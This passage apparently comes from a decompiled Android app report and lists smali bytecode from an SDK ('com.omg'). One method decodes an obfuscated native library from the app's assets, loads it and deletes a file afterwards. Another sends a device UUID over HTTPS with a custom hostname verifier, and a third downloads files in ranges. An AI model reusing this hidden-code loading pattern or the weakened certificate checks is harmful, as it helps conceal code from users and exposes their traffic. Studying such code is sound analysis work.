                              101invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              102move-result-object v0
                              104invoke-virtual {v0, v3}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              105move-result-object v0
                              106move-object v2, v0
                              107goto_94: if-eqz v2, :cond_183
                              108new-instance v0, Ljava/io/File;
                              110invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              112invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                              113move-result-object v1
                              115const-string/jumbo v6, ".so"
                              117invoke-virtual {v1, v6}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              118move-result v1
                              119if-eqz v1, :cond_149
                              121invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                              122move-result-object v0
                              123move-object v1, v0
                              124goto_ad: new-instance v0, Ljava/io/File;
                              126const-string/jumbo v6, "native"
                              127const/4 v7, 0x0
                              129invoke-virtual {p0, v6, v7}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              130move-result-object v6
                              132invoke-direct {v0, v6, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              134invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              135move-result v1
                              136if-nez v1, :cond_da
                              138invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              139move-result-object v1
                              140if-eqz v1, :cond_d7
                              142invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              143move-result-object v1
                              145invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              146move-result v1
                              147if-nez v1, :cond_d7
                              149invoke-virtual {v0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                              150move-result-object v1
                              152invoke-virtual {v1}, Ljava/io/File;->mkdirs()Z
                              153cond_d7:
                              154invoke-virtual {v0}, Ljava/io/File;->createNewFile()Z
                              155cond_da:
                              156invoke-virtual {v0}, Ljava/io/File;->length()J
                              157move-result-wide v6
                              159invoke-virtual {v2}, Ljava/io/InputStream;->available()I
                              160move-result v1
                              161int-to-long v8, v1
                              162cmp-long v1, v6, v8
                              163if-eqz v1, :cond_10d
                              164new-instance v1, Ljava/io/FileOutputStream;
                              166invoke-direct {v1, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                              168invoke-virtual {v1}, Ljava/io/FileOutputStream;->getChannel()Ljava/nio/channels/FileChannel;
                              169move-result-object v6
                              171invoke-virtual {v6}, Ljava/nio/channels/FileChannel;->lock()Ljava/nio/channels/FileLock;
                              172move-result-object v6
                              174invoke-virtual {v0}, Ljava/io/File;->length()J
                              175move-result-wide v8
                              177invoke-virtual {v2}, Ljava/io/InputStream;->available()I
                              178move-result v7
                              179int-to-long v10, v7
                              180cmp-long v7, v8, v10
                              181if-eqz v7, :cond_107
                              183invoke-static {v2, v1}, Lcom/omg/tool/IOManager;->write(Ljava/io/InputStream;Ljava/io/OutputStream;)V
                              185invoke-virtual {v6}, Ljava/nio/channels/FileLock;->release()V
                              186cond_107:
                              187invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
                              189invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                              190cond_10d:
                              191invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              192move-result-object v1
                              194invoke-static {v1}, Ljava/lang/System;->load(Ljava/lang/String;)V
                              195new-instance v1, Ljava/io/File;
                              197invoke-direct {v1, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              198if-eqz v1, :cond_12a
                              200invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              201move-result v2
                              202if-eqz v2, :cond_12a
                              204invoke-virtual {v1}, Ljava/io/File;->delete()Z
                              206const-string/jumbo v1, "live delete"
                              208invoke-static {v1}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              209goto_12a: monitor-exit v4
                              210return-object v0
                              211try_start_12c:
                              212const-string/jumbo v0, "nv/arm/base"
                              213try_end_12f: move-object v3, v0
                              214goto/16 :goto_d
                              215cond_132:
                              216invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              217new-instance v0, Lcom/omg/tool/FileSecurity$MixInputStream;
                              219invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              220move-result-object v1
                              222invoke-virtual {v1, v3}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              223move-result-object v1
                              224const/16 v2, 0x76
                              225const/16 v6, 0x7d
                              227invoke-direct {v0, v1, v2, v6}, Lcom/omg/tool/FileSecurity$MixInputStream;-><init>(Ljava/io/InputStream;II)V
                              228move-object v2, v0
                              229goto/16 :goto_94
                              230cond_149: new-instance v1, Ljava/lang/StringBuilder;
                              232invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              234invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                              235move-result-object v0
                              237invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              238move-result-object v0
                              240const-string/jumbo v1, ".so"
                              242invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              243move-result-object v0
                              245invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              246try_end_160: move-result-object v0
                              247move-object v1, v0
                              248goto/16 :goto_ad
                              249catch_164: move-exception v0
                              250try_start_165: new-instance v1, Ljava/lang/StringBuilder;
                              252invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              254const-string/jumbo v2, "loadlibrary "
                              256invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              257move-result-object v1
                              259invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              260move-result-object v1
                              262const-string/jumbo v2, " fail"
                              264invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              265move-result-object v1
                              267invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              268move-result-object v1
                              270invoke-static {v1, v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;Ljava/lang/Throwable;)V
                              271try_end_183: const/4 v0, 0x0
                              272goto/16 :goto_12a
                              273catchall_185: move-exception v0
                              274monitor-exit v4
                              275throw v0
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • android.text.TextUtils.isEmpty
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • javax.net.ssl.HttpsURLConnection.setConnectTimeout
                              • javax.net.ssl.HttpsURLConnection.setReadTimeout
                              • javax.net.ssl.HttpsURLConnection.setRequestMethod
                              • javax.net.ssl.HttpsURLConnection.setDoInput
                              • javax.net.ssl.HttpsURLConnection.setDoOutput
                              • javax.net.ssl.HttpsURLConnection.setUseCaches
                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                              • javax.net.ssl.HttpsURLConnection.setHostnameVerifier
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.net.URLEncoder.encode
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.net.URLEncoder.encode
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • javax.net.ssl.HttpsURLConnection.getOutputStream
                              • java.io.DataOutputStream.<init>
                              • java.io.DataOutputStream.writeBytes
                              • java.io.DataOutputStream.flush
                              • javax.net.ssl.HttpsURLConnection.getResponseCode
                              • javax.net.ssl.HttpsURLConnection.getInputStream
                              • java.io.InputStreamReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.lang.StringBuffer.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.StringBuffer.append
                              • java.lang.Exception.printStackTrace
                              • java.io.DataOutputStream.close
                              • java.io.BufferedReader.close
                              • java.io.InputStream.close
                              • javax.net.ssl.HttpsURLConnection.disconnect
                              • java.lang.StringBuffer.toString
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.io.DataOutputStream.close
                              • java.io.BufferedReader.close
                              • java.io.InputStream.close
                              • javax.net.ssl.HttpsURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.io.DataOutputStream.close
                              • java.io.BufferedReader.close
                              • java.io.InputStream.close
                              • javax.net.ssl.HttpsURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              Strings
                              • ro.yunos.openuuid
                              • ro.aliyun.clouduuid
                              • ro.sys.aliyun.clouduuid
                              • https://cmnsguider.yunos.com:443/genDeviceToken
                              • POST
                              • Content-Type
                              • application/x-www-form-urlencoded
                              • appKey=
                              • 23338940
                              • UTF-8
                              • &uuid=
                              • FC1FE84794417B1BEF276234F6FB4E63
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              3const-string v0, "ro.yunos.openuuid"
                              5const-string v1, ""
                              7invoke-static {v0, v1}, Lb/a/n;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              8move-result-object v0
                              9iput-object v0, p0, Lb/a/n;->c:Ljava/lang/String;
                              11iget-object v0, p0, Lb/a/n;->c:Ljava/lang/String;
                              13invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              14move-result v0
                              15if-nez v0, :cond_16
                              17iget-object v0, p0, Lb/a/n;->c:Ljava/lang/String;
                              18goto_15: return-object v0
                              19cond_16:
                              20const-string v0, "ro.aliyun.clouduuid"
                              22const-string v1, ""
                              24invoke-static {v0, v1}, Lb/a/n;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              25move-result-object v0
                              26iput-object v0, p0, Lb/a/n;->b:Ljava/lang/String;
                              28iget-object v0, p0, Lb/a/n;->b:Ljava/lang/String;
                              30invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              31move-result v0
                              32if-eqz v0, :cond_32
                              34const-string v0, "ro.sys.aliyun.clouduuid"
                              36const-string v1, ""
                              38invoke-static {v0, v1}, Lb/a/n;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              39move-result-object v0
                              40iput-object v0, p0, Lb/a/n;->b:Ljava/lang/String;
                              41cond_32:
                              42iget-object v0, p0, Lb/a/n;->b:Ljava/lang/String;
                              44invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              45move-result v0
                              46if-nez v0, :cond_eb
                              47try_start_3a: new-instance v0, Ljava/net/URL;
                              49const-string v1, "https://cmnsguider.yunos.com:443/genDeviceToken"
                              51invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              53invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              54move-result-object v0
                              55check-cast v0, Ljavax/net/ssl/HttpsURLConnection;
                              56try_end_47: const/16 v1, 0x7530
                              57try_start_49:
                              58invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setConnectTimeout(I)V
                              59const/16 v1, 0x7530
                              61invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setReadTimeout(I)V
                              63const-string v1, "POST"
                              65invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              66const/4 v1, 0x1
                              68invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoInput(Z)V
                              69const/4 v1, 0x1
                              71invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setDoOutput(Z)V
                              72const/4 v1, 0x0
                              74invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setUseCaches(Z)V
                              76const-string v1, "Content-Type"
                              78const-string v2, "application/x-www-form-urlencoded"
                              80invoke-virtual {v0, v1, v2}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              81new-instance v1, Lb/a/n$1;
                              83invoke-direct {v1, p0}, Lb/a/n$1;-><init>(Lb/a/n;)V
                              85invoke-virtual {v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setHostnameVerifier(Ljavax/net/ssl/HostnameVerifier;)V
                              86new-instance v1, Ljava/lang/StringBuilder;
                              88invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              90const-string v2, "appKey="
                              92invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              93move-result-object v1
                              95const-string v2, "23338940"
                              97const-string v4, "UTF-8"
                              99invoke-static {v2, v4}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              100move-result-object v2
                              102invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              103move-result-object v1
                              105const-string v2, "&uuid="
                              107invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              108move-result-object v1
                              110const-string v2, "FC1FE84794417B1BEF276234F6FB4E63"
                              112const-string v4, "UTF-8"
                              114invoke-static {v2, v4}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              115move-result-object v2
                              117invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              118move-result-object v1
                              120invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              121move-result-object v1
                              122new-instance v5, Ljava/io/DataOutputStream;
                              124invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getOutputStream()Ljava/io/OutputStream;
                              125move-result-object v2
                              127invoke-direct {v5, v2}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                              128try_end_a7:
                              129invoke-virtual {v5, v1}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                              131invoke-virtual {v5}, Ljava/io/DataOutputStream;->flush()V
                              133invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getResponseCode()I
                              134try_end_b0: move-result v1
                              135const/16 v2, 0xc8
                              136if-ne v1, v2, :cond_19d
                              137try_start_b5:
                              138invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                              139try_end_b8: move-result-object v4
                              140try_start_b9: new-instance v2, Ljava/io/BufferedReader;
                              141new-instance v1, Ljava/io/InputStreamReader;
                              143invoke-direct {v1, v4}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                              145invoke-direct {v2, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              146try_start_c3: new-instance v1, Ljava/lang/StringBuffer;
                              148invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
                              149goto_c8:
                              150invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              151move-result-object v3
                              152if-eqz v3, :cond_ef
                              154invoke-virtual {v1, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                              155try_end_d1: goto/16 :goto_c8
                              156catch_d2: move-exception v1
                              157move-object v3, v4
                              158try_start_d4:
                              159invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              160try_end_d7: if-eqz v5, :cond_dc
                              161try_start_d9:
                              162invoke-virtual {v5}, Ljava/io/DataOutputStream;->close()V
                              163goto_dc: if-eqz v2, :cond_e1
                              164try_start_de:
                              165invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                              166goto_e1: if-eqz v3, :cond_e6
                              167try_start_e3:
                              168invoke-virtual {v3}, Ljava/io/InputStream;->close()V
                              169goto_e6: if-eqz v0, :cond_eb
                              171invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                              172cond_eb:
                              173iget-object v0, p0, Lb/a/n;->c:Ljava/lang/String;
                              174goto/16 :goto_15
                              175cond_ef: if-eqz v1, :cond_f7
                              176try_start_f1:
                              177invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                              178move-result-object v1
                              179iput-object v1, p0, Lb/a/n;->c:Ljava/lang/String;
                              180cond_f7: move-object v3, v4
                              181goto/16 :goto_d7
                              182catch_f9: move-exception v1
                              184invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              185goto/16 :goto_dc
                              186catch_fe: move-exception v1
                              188invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              189goto/16 :goto_e1
                              190catch_103: move-exception v1
                              192invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              193goto/16 :goto_e6
                              194catch_108: move-exception v0
                              195move-object v1, v3
                              196move-object v2, v3
                              197move-object v4, v3
                              198goto_10c:
                              199invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              200try_end_10f: if-eqz v1, :cond_114
                              201try_start_111:
                              202invoke-virtual {v1}, Ljava/io/DataOutputStream;->close()V
                              203try_end_114: if-eqz v3, :cond_119
                              204try_start_116:
                              205invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              206try_end_119: if-eqz v2, :cond_11e
                              207try_start_11b:
                              208invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                              209cond_11e: if-eqz v4, :cond_eb
                              211invoke-virtual {v4}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                              212goto/16 :goto_eb
                              213catch_124: move-exception v0
                              215invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              216goto/16 :goto_114
                              217catch_129: move-exception v0
                              219invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              220goto/16 :goto_119
                              221catch_12e: move-exception v0
                              223invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              224goto/16 :goto_11e
                              225catchall_133: move-exception v0
                              226move-object v5, v3
                              227move-object v4, v3
                              228move-object v1, v3
                              229goto_137: if-eqz v5, :cond_13c
                              230try_start_139:
                              231invoke-virtual {v5}, Ljava/io/DataOutputStream;->close()V
                              232try_end_13c: if-eqz v3, :cond_141
                              233try_start_13e:
                              234invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              235try_end_141: if-eqz v4, :cond_146
                              236try_start_143:
                              237invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                              238try_end_146: if-eqz v1, :cond_14b
                              240invoke-virtual {v1}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                              241cond_14b: throw v0
                              242catch_14c: move-exception v2
                              244invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                              245goto/16 :goto_13c
                              246catch_151: move-exception v2
                              248invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                              249goto/16 :goto_141
                              250catch_156: move-exception v2
                              252invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                              253goto/16 :goto_146
                              254catchall_15b: move-exception v1
                              255move-object v5, v3
                              256move-object v4, v3
                              257move-object v6, v1
                              258move-object v1, v0
                              259move-object v0, v6
                              260goto/16 :goto_137
                              261catchall_162: move-exception v1
                              262move-object v4, v3
                              263move-object v6, v1
                              264move-object v1, v0
                              265move-object v0, v6
                              266goto/16 :goto_137
                              267catchall_168: move-exception v1
                              268move-object v6, v1
                              269move-object v1, v0
                              270move-object v0, v6
                              271goto/16 :goto_137
                              272catchall_16d: move-exception v1
                              273move-object v3, v2
                              274move-object v6, v1
                              275move-object v1, v0
                              276move-object v0, v6
                              277goto/16 :goto_137
                              278catchall_173: move-exception v1
                              279move-object v4, v3
                              280move-object v3, v2
                              281move-object v6, v1
                              282move-object v1, v0
                              283move-object v0, v6
                              284goto/16 :goto_137
                              285catchall_17a: move-exception v0
                              286move-object v5, v1
                              287move-object v1, v4
                              288move-object v4, v2
                              289goto/16 :goto_137
                              290catch_17f: move-exception v1
                              291move-object v2, v3
                              292move-object v4, v0
                              293move-object v0, v1
                              294move-object v1, v3
                              295goto/16 :goto_10c
                              296catch_185: move-exception v1
                              297move-object v2, v3
                              298move-object v4, v0
                              299move-object v0, v1
                              300move-object v1, v5
                              301goto/16 :goto_10c
                              302catch_18b: move-exception v1
                              303move-object v4, v0
                              304move-object v0, v1
                              305move-object v1, v5
                              306move-object v6, v3
                              307move-object v3, v2
                              308move-object v2, v6
                              309goto/16 :goto_10c
                              310catch_194: move-exception v1
                              311move-object v2, v3
                              312goto/16 :goto_d4
                              313catch_198: move-exception v1
                              314move-object v2, v3
                              315move-object v3, v4
                              316goto/16 :goto_d4
                              317cond_19d: move-object v2, v3
                              318goto/16 :goto_d7
                              Cross References
                              APIs
                              • com.omgSdk.a.c.c
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setReadTimeout
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.net.HttpURLConnection.setRequestProperty
                              • com.omgSdk.a.c.g:Landroid/content/Context
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.io.File.<init>
                              • java.io.RandomAccessFile.<init>
                              • java.io.RandomAccessFile.seek
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.net.HttpURLConnection.getResponseCode
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.net.HttpURLConnection.getInputStream
                              • java.io.InputStream.read
                              • java.io.RandomAccessFile.write
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • com.omgSdk.a.c.c:Lcom/omgSdk/a/a
                              • com.omgSdk.a.c.b:Landroid/database/sqlite/SQLiteDatabase
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • com.omgSdk.a.a.c
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.printStackTrace
                              • java.net.HttpURLConnection.disconnect
                              • java.io.RandomAccessFile.close
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.a.c.b
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.a.c.f:Lcom/omgSdk/a/c$a
                              • java.net.HttpURLConnection.disconnect
                              • java.io.RandomAccessFile.close
                              • java.io.IOException.printStackTrace
                              • com.omgSdk.a.c.f:Lcom/omgSdk/a/c$a
                              Strings
                              • GET
                              • start ==
                              • Range
                              • bytes=
                              • -
                              • rwd
                              • connection.getResponseCode() start=
                              • \u4e0b\u8f7d\u5931\u8d25 =
                              • retryCount =
                              • finished =
                              • , \u4e0b\u8f7d\u5b8c\u6210
                              Position Instruction Meta Information
                              0.prologue
                              1const-wide/16 v8, 0x1
                              2const/4 v3, 0x0
                              4invoke-direct {p0}, Lcom/omgSdk/a/c;->c()V
                              5try_start_6: new-instance v0, Ljava/net/URL;
                              7iget-object v1, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              9invoke-virtual {v1}, Lcom/omgSdk/a/e;->c()Ljava/lang/String;
                              10move-result-object v1
                              12invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              14invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              15move-result-object v0
                              16check-cast v0, Ljava/net/HttpURLConnection;
                              17try_end_17:
                              18const-string/jumbo v1, "GET"
                              20invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              21const/16 v1, 0x3a98
                              23invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              24const/16 v1, 0x3a98
                              26invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              28iget-object v1, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              30invoke-virtual {v1}, Lcom/omgSdk/a/e;->e()J
                              31move-result-wide v4
                              32new-instance v1, Ljava/lang/StringBuilder;
                              34invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              36const-string/jumbo v2, "start == "
                              38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              39move-result-object v1
                              41invoke-virtual {v1, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              42move-result-object v1
                              44invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              45move-result-object v1
                              47invoke-static {v1}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              49iget-object v1, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              51invoke-virtual {v1}, Lcom/omgSdk/a/e;->d()J
                              52move-result-wide v6
                              53sub-long/2addr v6, v8
                              54cmp-long v1, v4, v6
                              55if-ltz v1, :cond_50
                              56goto_4f: return-void
                              57cond_50:
                              58const-string/jumbo v1, "Range"
                              59new-instance v2, Ljava/lang/StringBuilder;
                              61invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              63const-string/jumbo v6, "bytes="
                              65invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              66move-result-object v2
                              68invoke-virtual {v2, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              69move-result-object v2
                              71const-string/jumbo v6, "-"
                              73invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              74move-result-object v2
                              76iget-object v6, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              78invoke-virtual {v6}, Lcom/omgSdk/a/e;->d()J
                              79move-result-wide v6
                              80sub-long/2addr v6, v8
                              82invoke-virtual {v2, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              83move-result-object v2
                              85invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              86move-result-object v2
                              88invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              89new-instance v1, Ljava/io/File;
                              91iget-object v2, p0, Lcom/omgSdk/a/c;->g:Landroid/content/Context;
                              93invoke-static {v2}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              94move-result-object v2
                              96iget-object v2, v2, Lcom/omgSdk/a/d;->a:Ljava/lang/String;
                              98iget-object v6, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              100invoke-virtual {v6}, Lcom/omgSdk/a/e;->b()Ljava/lang/String;
                              101move-result-object v6
                              103invoke-direct {v1, v2, v6}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              104new-instance v2, Ljava/io/RandomAccessFile;
                              106const-string/jumbo v6, "rwd"
                              108invoke-direct {v2, v1, v6}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              109try_end_97:
                              110invoke-virtual {v2, v4, v5}, Ljava/io/RandomAccessFile;->seek(J)V
                              112iget-object v1, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              114invoke-virtual {v1}, Lcom/omgSdk/a/e;->e()J
                              115move-result-wide v4
                              116iput-wide v4, p0, Lcom/omgSdk/a/c;->d:J
                              118invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              119move-result v1
                              120new-instance v3, Ljava/lang/StringBuilder;
                              122invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              124const-string/jumbo v4, "connection.getResponseCode() start= "
                              126invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              127move-result-object v3
                              129invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              130move-result-object v3
                              132invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              133move-result-object v3
                              135invoke-static {v3}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              136const/16 v3, 0xce
